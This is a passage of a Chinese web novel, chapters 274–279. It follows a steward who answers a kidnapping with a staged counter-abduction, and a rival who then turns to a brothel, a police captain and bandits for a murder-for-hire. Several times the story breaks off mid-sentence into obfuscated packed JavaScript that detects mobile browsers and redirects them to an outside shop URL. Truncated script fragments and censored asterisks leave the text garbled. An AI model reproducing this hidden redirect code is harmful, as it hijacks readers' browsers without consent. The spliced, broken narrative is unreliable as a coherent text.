“其实老爷对少爷还是有感情的。” 张玲玉咬牙切齿道:“那是因为他之后一直生不出孩子,我知道他从心底鄙视福儿。” 李二狗没有说话,胡福是张玲玉和她表哥程秋雨所生的孩子,他的痴傻很大一部分原因是因为近亲繁殖。 但这种话李二狗不能和她说。 张玲玉突然笑了起来。 “我知道,你们在心里都嘲笑我,认为一切都是我咎由自取!可你们谁又能懂得我心里的苦啊!” “如果上天非要惩罚,那就来惩罚我吧,福儿是无辜的啊!” 李二狗依然没有说话,只是轻轻擦去她眼角的泪水,然后把她揽入怀中。 此时,任何的语言都是苍白无力的。 “狗哥。” 面对突然闯进来的张二驴,李二狗急忙松开张玲玉,站起身来。 张二驴赶忙转过头,装作什么都没有看见。 “二驴,有消息了?” “中午的时候,有人看到少爷被一个男人抱走了。” 第274章 你丫脑子有病吧 “福儿被谁抱走了?”张玲玉听到胡福有消息了,猛地站起来,冲到张二驴面前,一把拉住他的胳膊,“你快说啊,福儿被谁抱走了?” “玲玉,你先冷静一点,听他说。” 张玲玉松开手,眼睛却一直盯着张二驴。 “他只看到那个人的背影,并没有看到正脸,不过……” “不过什么?” “少爷当时并没有哭闹,应该是和那个人认识,狗哥,你说会不会是咱们胡家大院的人?” 李二狗想了想,肯定地说道:“应该不会,如果是胡家大院的人做的,他一定是奔着钱去的,可我们并没有收到勒索信。” 张玲玉催促道:“二狗,你快想想办法救救福儿啊。” “二奶奶,你先冷静一点,我一定会想办法救出少爷的。” 李二狗命丫鬟看好张玲玉,自己和张二驴一起走了出去。 “二驴,你马上找几个人,带上枪,跟我出门一趟。” 张二驴立即找了四个家丁,跟着李二狗出了门。 “狗哥,咱们去哪?” “三太爷家。” “三太爷?你怀疑是三太爷家干的?” 李二狗推测**了胡福又不是为了钱财,那就一定是胡世仁或者胡汉三做的,或者是他们两家联手做的。 他之所以先去胡汉三家,是因为胡汉三有两个儿子,其中小儿子胡豹是仙人洞镇有名的流氓混混,这种绑票的事他最擅长。 “现在我们没有别的线索,只能当是他家干的,死马当作活马医,先去探探情况再说。” 来到胡汉三家门前,黑漆漆的两扇大门紧闭。 “二驴,去敲门。” 张二驴敲了半天,才有一个人从门里问道:“谁啊?天还没亮就砸门,还让不让人睡觉了?” 张二驴说道:“我们是胡家大院的,李管家有事找你们家老爷,快开门。” 里面突然没有声音了,张二驴趴在门板上听了半天,里面静悄悄的。 “狗哥,怎么办?” “再等等,一会儿要是还不开就把大门给我砸开。” 过了大约五分钟,门“吱咛”一声打开了。 家丁看到外面的人全部面无表情,肩上还背着枪,吓得脸色都变了。 “我们……我们老爷请……你们进去。” 李二狗没有客套,直接走了进去。 胡汉三站在院子中间,身后站着胡豹和两个家丁,阴阳怪气地说道:“我以为是谁呢,大清早就来砸门,原来是李大管家!不知道李大管家大驾光临,有何指教啊?” 李二狗拱手抱拳道:“三太爷,实在是不好意思,打扰您老人家休息了,我们少爷胡福失踪了,我特意前来问问三太爷有没有看见他?” “你们少爷失踪了,你不派人去找来老夫这里干吗?老夫一向大门不出二门不迈,又怎么会看见你们家少爷呢? 胡豹说道:“那小子是个傻子,也许是自己迷路了,怎么可能到我家里来?” 李二狗问话的时候一直暗中观察胡汉三父子的表情,他们在听到胡福失踪的消息时,没有表现出任何惊讶之情,甚至连幸灾乐祸的情绪都没有,这很不正常,说明他们早就提前做好了心理准备。 “三太爷,说到底你们和胡家大院是本家,都是一家人,低头不见抬头见的,有些事还是不要做得太绝,否则对谁都不好!” 胡豹突然跳将出来,指着李二狗的鼻子骂道:“你算是个什么东西?一个小小的管家,不过是胡家大院的一条看门狗罢了,竟敢跑到我们面前叫嚣?等哪天老子搬进胡家大院,第一个要赶走的人就是你。” “赶不赶我走是你的自由,能不能留下得看我的能力,胡豹少爷话说得不要太满。” “哈哈,应该是你不要把话说得太满才对!我现在马上命令你出去,立刻滚出我家!” 胡豹突然表现的如此愤怒,很显然是为了掩饰自己内心的恐惧。 “胡豹少爷这么着急赶我们走,难道是做贼心虚吗?” 胡豹突然从腰里拔出驳壳枪,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000975|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着李二狗,威胁道:“李二狗,你不要血口喷人,你以为只有你们有枪吗?老子手里的也不是烧火棍!你到底走不走?” 面对胡豹的威胁,李二狗毫不畏惧,他知道胡豹没有胆子开枪,因为自己带来的人带着**。 “胡豹少爷不要焦急,等我说完立马就走。” “你……” 胡豹咬牙切齿地怒视李二狗,握着驳壳枪的手臂已经有些微微发抖。 李二狗身后传来一阵“哗啦啦”拉动**的声音。 胡汉三见状立马呵斥道:“胡豹,把你的枪给我收起来。” “爹!” “收起来!” “哼!” 胡豹把驳壳枪收起来别在腰间,双眼依然怒视着李二狗,典型的做贼心虚! “李管家,有什么话你就说吧。” “三太爷,我们少爷胡福神智有些不清,如果他不小心走到您府上,还请您把他交还给我们胡家大院,我们一定重重酬谢。” “李管家,你们家少爷并没有到过我府上,你还是到别处去找找吧。” “我知道胡豹少爷无论在官府还是江湖中都认识很多朋友,还请胡豹少爷帮忙找一找。” 胡豹听罢暴跳如雷。 “李二狗,你丫脑子有毛病吧?你们胡家大院丢了少爷凭什么让我去找?” 李二狗不急也不恼,慢条斯理地说道:“刚才你不说了吗?都是一家人,难道胡豹少爷对胡家大院的人没有感情吗?” 胡豹手指李二狗,骂道:“李二狗,你少在这胡搅蛮缠,赶紧给我滚犊子,不然别怪我不客气。” “呵呵,三太爷,我代表胡家大院请求你们帮忙找找孩子,您也是有儿孙的人,如果今天天黑之前找不到我就让您的儿孙失踪一个,明天天亮之前还找不到就失踪两个,我说到做到,我们走!” 胡豹完全被李二狗不讲理的行为激怒了。 “李二狗,**别欺人太甚!老子根本就不怕你的威胁!” “呵呵,那我们就走着瞧!” 第275章 假绑不是打我自己的脸吗 “狗哥,我看八成就是这几个王八蛋**了胡福少爷。” 李二狗有意考察一下张二驴,便问道:“何以见得?” “他们在听到少爷被**的消息时表现的太淡定了,这不符合常理啊。” “二驴,你小子不错,观察地很仔细。” “嘿嘿,都是狗哥教导有方,和你比起来,我还差得远。” “你小子,跟谁学得这么油腔滑调?” “嘿嘿,我这可都是肺腑之言,狗哥,下一步咱们怎么办?” “怎么办?刚才我不是都和三太爷说过了吗?” 张二驴以为李二狗只是威胁之言,没想到他却当真了。 “狗哥,真绑啊?” “假绑不是打我自己的脸吗?” 张二驴竟无言以对。 “狗哥,把他们真逼急了,他们会不会对少爷不利?” 这本是李二狗担心的问题,但他分析之后确定,胡汉三不敢**,毕竟是一条人命。 胡福是个傻子,他只需要把胡福送到一个遥远的地方,在这饥荒之年,等待他的只有饿死这一条路。 “放心吧,他们还没有这个胆子。” “狗哥,天黑之前如果他们不把少爷放回来,我亲自带人来抓人。” 李二狗摆摆手,说道:“抓人?那也太没有技术含量了,这事你不用管了,我自有安排。” 张二驴越来越猜不透李二狗的心思,难道他要亲自动手不成? 夜幕降临之后,胡福依然杳无音讯,张玲玉依然坐在屋檐下望着星空发呆。 李二狗知道,胡汉三肯定不会把胡福送回来,这本在他意料之中。 其实胡汉三和胡豹都没有把李二狗的威胁之言放在心上,他一个小小的管家哪有那个胆量! 陈嘎子和张石头此时已经奉李二狗的命令潜伏在胡汉三家附近。 “嘎子哥,咱们什么时候动手?” 陈嘎子看了看天色,天空还没有完全黑透。 “不着急,让他们吃过晚饭吧,来,抽支烟。” 两人抽完烟之后,天色已经完全黯淡下来。 “石头,我去了,你在这里待着随机应变。” 陈嘎子扛着糖葫芦就去了胡汉三院门口。 “冰糖葫芦喽,不甜不要钱吆。” “冰糖葫芦喽,不甜不要钱吆。” 刚刚吃过晚饭的胡文彩正在院子里玩耍,听到门外有卖糖葫芦的声音,立刻被吸引住了。 他趁人不注意,自己跑到大门后面,拉开门栓,甜甜地问道:“糖葫芦多少钱一串?” 陈嘎子露出一副慈善的笑容。 “一文钱一串,小朋友,你家大人呢?” “他们在屋里,我去找他们拿钱。” “看你这么可爱,叔叔送你一串糖葫芦好不好?” “真的吗?叔叔你真好。” 陈嘎子摘下一串糖葫芦送到胡文彩手中。 “叔叔大篷车里还有更好吃的棉花糖,你喜欢吃吗?” “喜欢呀,叔叔的大篷车在哪里?” “就在村口,叔叔抱你去拿棉花糖吃好不好?” “好呀,叔叔真好。” 陈嘎子抱起胡文彩快速离开了村子。 等到胡豹的媳妇发现胡文彩不见了之后,全家人登时呆住了。 “爹,文彩不会真被李二狗抓走了吧?” “我怎么知道?”胡汉三嚷道,“快出去找!” 一直找到半夜,也没见胡文彩的踪影。 “爹,我们去胡家大院要人,他要敢不给,老子和他们拼了!” 胡汉三毕竟多吃过几年盐,不像胡豹那般冲动。 “你去要人,他们会承认吗?谁见到他们把文彩拐走了?” “那怎么办?” “我的彩儿啊,你要丢了,娘也活不了了。” 胡豹的媳妇一屁股坐在地上,嚎啕大哭。 “好了,别嚎丧了,孩子如果真是被李二狗抓走的,暂时不会有危险。” “爹,那我们是不是……” **胡福的事是胡汉三和胡豹做的,其他人并不知晓,胡汉三听到胡豹情急之下要说出真相,急忙打断了他。 “扶你媳妇先回屋吧,让我先想想怎么办。” 胡福**豹绑起来,藏在一个破庙里,他准备再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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众人赶紧把她抬进屋里,慌乱中,胡汉三发现胡豹的女儿胡文娟已经不知所踪。 第276章 李二狗,咱们走着瞧 “胡豹,文娟呢?文娟怎么不见了?” 胡汉三“砰”的一声靠在门板上,他双腿已无法站立。 “文娟啊!”胡豹媳妇又是“嗷”的一嗓子,“我的文娟去哪儿了?她爹,文娟去哪儿了?你快去把文娟给我找回来,我的文娟啊,我的文彩啊,我的命好苦啊!” 胡豺媳妇吓得赶紧带着自己的三个儿女回了屋。 “李二狗,你**做得也太绝了!老子今天和你拼了!” 胡豹抹了一把眼泪,拿起挂在门后的驳壳枪就要冲出去找李二狗拼命。 胡汉三深吸一口气,用尽全身力气大喝一声:“胡豹,你给我站住!” “爹!难道我们就眼睁睁地看着李二狗胡作非为而无动于衷吗?我要为文彩报仇,救出文娟。” 胡豹说着已经背上枪冲了出去,胡汉三趔趄地跟着冲出去拦在他身前。 “胡豹,你冷静一点!你现在一个人去胡家大院不是送死吗?” “是啊,老二,你还是听咱爹的吧。”胡豺附和道。 胡豹怒视胡豺,他想不明白,李二狗为何只对自己的儿女动手,难道他是神仙能掐会算吗?怎么就知道是自己**了胡福? “爹,您可就文彩一个孙子啊,他死得太惨了!现在文娟又被他抓了去,肯定也是凶多吉少!他欺人太甚,大不了我和他拼了!” “你这样冲动,不仅害了自己,也会害死文娟的!” 胡豹仰天长啸,掏出驳壳枪对着天空就是“砰砰”几枪。 “李二狗,老子和你势不两立!” 姜还是老的辣,胡汉三并没有和胡豹一样失去理智,他知道问题的源头在哪里! “李二狗这样做无非就是为了逼迫我们放了胡福,我看你还是去把他放了吧,先把文娟救出来再说。” 胡豹内心一万个不甘心。 “放了他?爹,放了他我们不就前功尽弃了吗?难道文彩就这样白白**吗?我不甘心呐!” “豹儿,爹也不甘心,可不甘心又能怎么样?留得青山在,不愁没柴烧,如果我们不放了他,死得就不仅仅是文彩了,咱们得为全家人的安危考虑啊!” “是啊,老二,你还是听咱爹的吧。”胡豺再次附和道。 胡豹并不甘心就这样轻易放了胡福,他还想做最后一搏。 “爹,李二狗杀了文彩,我现在就去警察局报案,警察局的王队长和我关系不一般,我让他带人去抓李二狗救出文娟。” 胡汉三是**湖,他对社会的认知比胡豹深刻的多。 “豹儿,你真是糊涂啊!你有什么证据能证明是李二狗杀了文彩?他要是不承认,你有什么办法?” 胡豹冷笑道:“只要进了警察局,由不得他不承认!爹,你别忘了,咱警察局有人。” 胡汉三叹息道:“你这脑子怎么就一根筋?那警察局王队长是你姐夫还是小舅子?他为什么和你交好?还不是看中你的钱吗?要说钱,咱们家的钱能和胡家大院比吗?” 胡豹就像霜打的茄子,彻底没有了精气神。 “爹,可我实在是不甘心呐!” “哎!没想到李二狗做事如此心狠手辣,咱们之前太小瞧他了,还是把胡福先放了吧。” “是啊,老二,你还是听咱爹的吧。”胡豺再次附和道。 胡豹虽然千般不愿,但事到如今,他已别无选择。 听着屋内自己媳妇绝望的哭喊声,胡豹发誓一定要让李二狗血债血偿! 来到破庙,被绑在柱子上的胡福竟然对着他傻笑。 想到自己惨死的儿子,胡豹一时气愤难当,他痛骂着冲上去狠狠地打了胡福十几个大嘴巴子。 “你这是大傻叉,老子真恨不得剥了你的皮!” 胡福被打得嗷嗷直哭,嘴角流着血,可他除了哭还是哭。 “早晚有一天老子要把你剁碎了喂狗,我要霸占你们胡家大院,霸占你那狐媚的娘。” 胡福听到娘,竟停止哭泣傻笑起来。 胡豹被气得又狠狠地打了他几个大嘴巴子。 他把胡福扔在胡家大院门口,然后闪身躲进了旁边的一个胡同里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005501|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大院里听到胡福的哭声,张二驴急忙打开院门。 “少爷,你可回来了,二奶奶都急疯了!李管家,少爷回来了!少爷回来了!” 想到惨死的儿子胡文彩,胡豹掏出驳壳枪,咬牙切齿了一会儿,又把驳壳枪放回枪套。 他一直躲在胡同里等到天亮,也没看见胡文娟被放出来。 “李二狗,你**说话不算话,老子饶不了你。” 胡豹来到胡家大院门口,“哐哐”砸响院门。 “李二狗,你给老子滚出来!” 张二驴听到砸门声,从门缝里听出是胡豹的声音。 他打开院门,鄙夷地瞪了一眼胡豹。 “胡豹少爷,这么早你砸什么门?我们李管家还没有起床,你找他什么事?” “滚开!你算是什么东西?也配和老子说话?让李二狗滚出来!” 张二驴冷笑一声,“砰”的一声,院门竟从里面关上了。 胡豹从来没有被这么侮辱过,他的自尊心被按在地上摩擦。 “哐哐哐……” “李二狗,你给老子滚出来!你**说话不算数,快放了我女儿!” 任胡豹喊破喉咙,里面也根本没人理会。 他失魂落魄地回到家中。 胡福放了,儿子**,女儿也不知所踪,胡豹感觉自己没脸进这个家门。 “爹爹!” 胡豹惊呆了,站在他面前活蹦乱跳的孩子竟是胡文彩! 他不是被李二狗杀了吗?明明心肝肠子装满了一竹篮,这到底是怎么一回事? 他不可置信地揉了揉有些酸痛的眼睛,没错,确实是胡文彩。 “文彩!”他一把抱起胡文彩,高兴地泪流满面,“我的好儿子,你可把爹吓**!” “爹爹,文彩好想你。” “爹也想你!” 胡文娟听到声音从屋里跑出来,拽着胡豹的衣角,甜甜地喊道:“爹爹,我也要抱抱!” 胡豹看着毫发无伤的女儿,这才意识到自己被李二狗耍了。 “李二狗,咱们走着瞧!” 第277章 小凤仙 胡汉三彻底被李二狗的手段折服。 “豹儿,李二狗手段毒辣,你我都不是他的对手,这次他能把文彩和文娟安然无恙地送回来,已经是祖宗保佑,以后我们还是不要和他作对了。” 胡家大院的家业实在是太诱人了,胡豹不忍放弃。 “爹,胡福明显不是咱们老胡家的种,我士高哥辛辛苦苦挣下的家业岂能白白便宜了外姓人?” “可李二狗太厉害了,下一次他可能就不会这么客气了。” “这次咱们是吃了没有防备的亏,只要咱们提高警惕,下次一定不会让他得逞!” “可有李二狗在,下次再想对胡福动手也没那么容易了。” 胡豹冷笑一声:“那我们就先把李二狗解决掉。” 胡汉三呢喃道:“还是谨慎一点好!” 胡豹对胡汉三的谨慎很不以为然,胆大骑龙骑虎,胆小骑抱鸡母。 “爹,你就放心吧,我心里有数。” 胡豹来到县城,找到警察局行动队副队长王霸。 “王队长,今晚我在醉仙楼定了位子,请您务必赏光。” “胡少爷,我这公务繁忙,脱不开身,还是下次再说吧。” “王队长,我已经给您约好了小凤仙,您知道的,想约到她可不容易啊,您总不能让美人空欢喜一场吧,您忍心吗?” 听到小凤仙的名字,王霸立刻换了一副嘴脸。 “你小子总是能抓住我的软肋,局里刚换了局长,管得很严,我可能得晚一会才能过去。” “好,不着急,晚上我在醉仙楼等您。” 晚上七点不到,王霸便一身便服来到醉仙楼。 “王队长,我在这里。”胡豹朝王霸招手道。 王霸面无表情地走了过去。 “现在不是工作时间,不要叫我职务,省得引起别人注意。” 胡豹赶紧赔着笑脸道歉道:“好的,霸爷,下次我一定注意。” 醉仙楼是江东县最高档的娱乐场所,集餐饮娱乐、演艺互动、****等多种形式于一体,深受全县达官贵人的喜爱。 胡豹一招手,老鸨子喜笑颜开地跑了过来。 “胡少爷,您有什么吩咐?” 在醉仙楼,胡豹的知名度远比王霸高的多,王霸以前只是一名警察局的普通警察,前不久才花钱打通关系买了一个行动队副队长。 “花妈妈,赶紧让小凤仙过来吧。” 花芙蓉赶忙道歉道:“哎呀,胡少爷,实在是不好意思,小凤仙这会再接客,您看是不是换个姑娘?我们这里新来了一个姑娘,那小脸蛋、那小身材,保准让您飘飘欲仙。” 小凤仙是醉仙楼的头牌,一直是王霸的梦中情人。 听到小凤仙过不来,王霸的脸色相当难看。 “花妈妈,我早就和你订好了小凤仙,你怎么能随便变卦呢?我们霸爷只喜欢小凤仙,你马上去把她给我叫过来。” 花芙蓉笑得脸上的脂粉扑簌簌往下掉。 “哎吆,胡少爷,不是我变卦,是今天有特殊情况,小凤仙从下午进去一直到现在还没有出来,我也是没有办法啊。” 胡豹猛地一拍桌子。 “**,你现在去把小凤仙叫出来,我们就在这里等着。” “胡少爷,您这不是让我为难吗?客人没出来,我们没有去把人叫出来的道理啊!” 有王霸撑腰,胡豹的胆气壮了许多。 “你知道霸爷是谁吗?说出来吓死你,别废话了,马上去把小凤仙给我叫出来,我们霸爷只要小凤仙,不然老子把你醉仙楼砸了!” 花芙蓉看王霸气定神闲地坐在那里,脸上没有任何表情,一副高深莫测的样子,一看就不是一般人。 “这……胡少爷,这实在是太令我为难了!” 胡豹掏出五块大洋拍在桌子上。 “少废话,赶紧去!” 花芙蓉没有办法,只能硬着头皮答应下来。 她安排一名醉仙楼的打手去敲了房门。 当打手说明来意之后,只换来一个字:滚! 花芙蓉没有办法,只能领着一个姑娘来到胡豹所在的包厢。 “胡少爷,真是不好意思,那位客人还未尽兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005502|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不答应让小凤仙出来,您看我身边这位姑娘,她叫小桃红,长的可比小凤仙水灵多了。小桃红,还不快给客人问好。” 小桃红眼神含春、嘴角带笑,一缕卷发垂落在白皙胸前,一看就是风骚的女人。 她笑里藏火,红唇轻启道:“胡少爷,小凤仙有什么好的?她会的我都会,她不会的我也会。” 相比小凤仙,胡豹更喜欢风骚放浪的小桃红,但王霸却不为所动,他的心里只有小凤仙。 胡豹看在眼里,急在心里。 他今天有求于王霸,如果不能让他高兴,今天所做的一切都是徒劳,还很可能得罪王霸。 “什么人这么嚣张?带我去看看!” 花芙蓉劝道:“胡少爷,我看还是算了吧?大家都是出来找乐子的,别给自己找不自在,您说是不是?” 胡豹受了李二狗一肚子气,正找不到地方发泄,加上又有王霸在他背后撑腰,根本听不进花芙蓉的劝解。 “告诉我是哪个房间?我倒要看看是谁这么大的谱!” 花芙蓉没有办法,只能指了指二楼的一个房间。 胡豹怒从心头起,恶向胆边生,一脚踢开房门,里面顿时传来女人的尖叫声。 小凤仙正被一个男人压在身下,激战正酣! 这更加激起了胡豹的愤怒之情。 “小凤仙,赶紧穿上衣服跟我走!” 男人彻底**豹激怒了,他赤裸着身体站起来,吓了胡豹一跳,确实有料! 正当胡豹胡思乱想之时,男人抬脚踢向胡豹,胡豹的身体腾空而起,轻飘飘地飞了出去。 “扑通”一声,撞到门外的栏杆上。 “不知死活的东西,竟敢打扰老子的雅兴!” 王霸定睛一看,竟是新任警察局局长富志高。 王霸吓得赶紧低着头离开了醉仙楼。 胡豹挣扎着从地上爬起来,想找王霸撑腰,却发现王霸早已不知去向。 刚才挨得那一脚,令胡豹脑子清醒了许多。 他心知自己不是此人的对手,赶紧灰溜溜离开了醉仙楼。 第278章 银样镴枪头 胡豹在县城里胡乱住了一夜,第二天一大早就来到警察局门前。 远远地看到王霸骑着自行车过来,他赶紧谄媚地上前打招呼:“王队长,早上好。” 王霸看了胡豹一眼,皱了皱眉头,没有停留,直接骑车进了警察局,根本没有搭理他。 “把那个人轰走,千万不要让他进来。”王霸进入警察局之时特意吩咐门卫。 “王队长!您等等我,我有事向您汇报。” 胡豹以为王霸还在因为昨晚的事情生自己的气,自己想要他解释清楚,便要跟着他一起进入警察局。 “站住!”门卫伸手拦住了他。 “老总,我是你们王队长的朋友,找他有点事。” “你不能进去!” “老总,我真是你们王队长的朋友,不信你可以问他。” 门卫冷笑道:“就是我们王队长不让你进的!这里是警察局重地,闲杂人等赶紧离开,否则把你抓起来关进监狱。” 胡豹傻眼了! 不就因为一个女人吗?用得着生这么大的气吗?这个王队长未免太小家子气了。 胡豹还想为自己争辩几句,但门卫根本不听,他作势要举枪,胡豹立马吓得狼狈而逃。 解铃还须系铃人,心病还须心药医,胡豹再次来到醉仙楼。 “花妈妈,今天小凤仙没有接客吧?” 花芙蓉笑道:“这回没有,没想到胡少爷一大早就来了,看来是真的喜欢我们小凤仙啊。” 胡豹担心小凤仙再被截胡,便说道:“小凤仙我包了,今天不要让她接待任何客人。” 花芙蓉喜笑颜开,一张大圆脸就像一朵花一样。 “胡少爷办事就是敞亮,嘻嘻,二十块大洋!” 胡豹惊呼道:“什么?二十块大洋?花妈妈,你这是趁机敲老子的竹杠啊!” 花芙蓉确实在敲胡豹竹杠,她认准胡豹非小凤仙不可,傻子才不趁机涨价。 “胡少爷,我们醉仙楼一直都是明码标价、童叟无欺,小凤仙的包日价就是二十块大洋,您要是嫌贵,可以找别的姑娘。” 胡豹为了让王霸高兴,别说二十块大洋,就是三十块、四十块大洋他也必须掏。 他从衣兜里掏出二十块大洋,扔到花芙蓉手里。 “快去把小凤仙给老子叫来!” 二十块大洋令胡豹的心在滴血,他准备先和小凤仙颠龙倒凤几次,这样至少心里可以平衡一些。 可胡豹忘记了自己是一个银样镴枪头,他得到的只是小凤仙的叹息哀和鄙视的眼神。 胡豹心有不甘,又玩了一些见不得人的花架子才恨恨地来到警察局门口。 “老总,我找王队长有急事,麻烦您给通传一下呗。” “王队长有交代,你不能进,赶紧离开这里!” 胡豹还是不死心。 “老总,我找王队长真有急事,麻烦您再给问一问。” “滚!” 胡豹没有办法,只能蹲在离警察局不远的一个角落里,希望能看到王霸的身影。 一直等到太阳落山,王霸才骑着自行车走出警察局,脚麻腿酸的胡豹赶紧跑了过去。 “王队长。” 王霸一看胡豹,下意识地向身后看了看,他很担心富志高看到自己和胡豹混在一起。 “胡豹,你怎么总是阴魂不散?赶紧给我滚,老子再也不想见到你。” 胡豹急忙解释道:“王队长,您别生气啊,我已经约好了小凤仙,她此时正在醉仙楼等着您呢。” 王霸不想和胡豹在警察局门口纠缠。 “你听不懂我的话吗?赶紧给我滚!我永远不想再见到你!” “王队长,您听我说。” “滚!” 王霸掏出**,“咔嚓”一声**上膛。 “王队长,您别生气,我走,我走还不行吗?”胡豹吓得狼狈而逃。 胡豹始终想不明白,为了一个小凤仙,至于这样吗? 以前自己给他送的那些钱,关键时刻连个响都没听见。 但胡豹对付李二狗的心没有变! 既然警察局指望不上,那就只能依靠土匪了。有时候警察还不如土匪,土匪收钱就办事,不像警察这样翻脸不认人。 胡豹来到清风寨门口。 “我要见你们大当家的。” “你是谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010351|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是胡豹。” “胡豹?不认识!你找我们大当家的什么事?” “报仇!” 守门的土匪赵小憨一听,吓得赶紧举起枪对准胡豹。 “你小子好大的胆子,敢到清风寨找我们大当家的寻仇,我看你是活腻歪了。” 胡豹吓得腿都软了,头摇的拨浪鼓一般。 “误会了,误会了,不是我找你们大当家的报仇。” “那是谁找我们大当家的报仇?” “没有谁找你们大当家的报仇,是我要找你们大当家的报仇。” “说来说去还是你小子,给我抓起来。” “别别别啊,我的意思是我要找你们大当家的替我报仇。” 赵小憨这才明白胡豹的来意。 “你和我们大当家的认识?” “不认识。” “那你是别人介绍来的?” “是我自己要来的。” “那我们大当家的为何要帮你报仇?你以为你是县长的小舅子啊?” 胡豹被问糊涂了,花钱买凶报仇,天经地义的事情,怎么整得如此复杂。 “兄弟,我和你说不清楚,你快进去说一声,我要见你们大当家的。” “我们大当家的不在,再说我们大当家的是你想见就能见的吗?” “那就见你们二当家的。” 赵小憨是新来的,还从来没有遇到过这种事情。 “你在这里等着赵小憨肯定不会去向清风寨的几个经理汇报。 他找到负责守寨门的小头目孔三愣。 “愣哥,门外有人花钱买凶替他报仇” 孔三愣在朱重九时期就已经上了清风寨,作为清风寨的元老,他不仅没有得到重用,反而被安排守寨门,心中早有怨言。 山寨富裕的时候,他还能老老实实地遵守寨规,可如今遇上灾年,清风寨的日子也过得紧巴巴的,寨规在他心中也变得无足轻重起来。 孔三愣问道:“小憨兄弟,想不想挣点烟酒钱?” “当然想啊,楞哥,我都有半个月没喝酒了。” “那哥就带你去挣点烟酒钱,你不要声张,悄悄把他带到我这里来。” 第279章 胡豹** 赵小憨虽然是新来的,但他进寨的时候也学过寨规,知道未经山寨经理批准,任何人不能私自接待外人,更不能私自下山。 “楞哥,咱们这样做不好吧?让几个经理知道,恐受责罚。” “说你憨你还真憨啊?咱们请假下山,你不说我不说谁能知道咱们干什么?这年月什么都是假的,只有兜里的钱才是真的。” 看赵小憨还在犹豫,孔三愣说道:“你要是不愿意我也不勉强,你可以装作什么都不知道。” 孔三愣作为赵小憨的顶头上司,赵小憨当然不敢得罪他,同时他也确实喜欢钱,没有人会和钱过不去! “楞哥,我愿意,你说怎么干咱们就怎么干,我都听你的。” “这才是我的好兄弟,放心吧,跟着哥干,哥不会亏待你的,快去把人带到我这里来。” 赵小憨带着胡豹来见孔三愣。 “这是我们清风寨的孔爷,有什么事你可以和孔爷说。” 孔三愣翘着二郎腿坐在椅子上,屁股都没有动一动。 “你找我们清风寨有什么事?” 胡豹看孔三愣的气质,颇有土匪**气。 “孔爷您好,我有个仇家,想请你们出面帮我报仇。” “你想怎么报仇?” “杀了他!” 孔三愣不由得喉咙发紧,没想到是**。 他深吸一口气,努力让自己的声音听不出任何颤抖。 “**的价码可不低啊。” “孔爷,您说个数,我绝不还价。” 要太多怕吓走买主,太少又不值得自己去冒险,孔三愣想了想,便伸出两个手指头,说道:“至少得两百块大洋!” 两百块大洋对于胡豹来说不是小数目,但在江东县,除了清风寨,其他山寨的土匪不一定敢冒着得罪胡家大院的风险去杀李二狗。 想到胡家大院几千亩土地和规模庞大的院落,二百块大洋实在是不值得一提。 “好,事成之后,我一定双手奉上二百块大洋。” 孔三愣没想到胡豹答应的如此痛快,他心里暗暗埋怨自己要少了。 “呵呵,事成之后?这可不符合江湖规矩。” “孔爷的意思是?” “先付一百块大洋定金,事成之后再付剩下的一百块。” “成交,明天我一定把一百块大洋送来。” 孔三愣不想胡豹再来清风寨,便说道:“明天早上六点,在仙人洞镇西奈何桥边见。” 胡豹喜不自胜,有清风寨出马,李二狗就是有十个脑袋也难逃一劫,他抱拳施礼道:“孔爷,拜托了!咱们明天早上见。” “送客!” 胡豹回到家之后,没有把此事告诉胡汉三,他准备干成之后再给他爹一个大大的惊喜。 第二天一早,他带着一百块大洋赶到镇西的奈何桥边。 等了一会儿,孔三愣才带着赵小憨赶来。 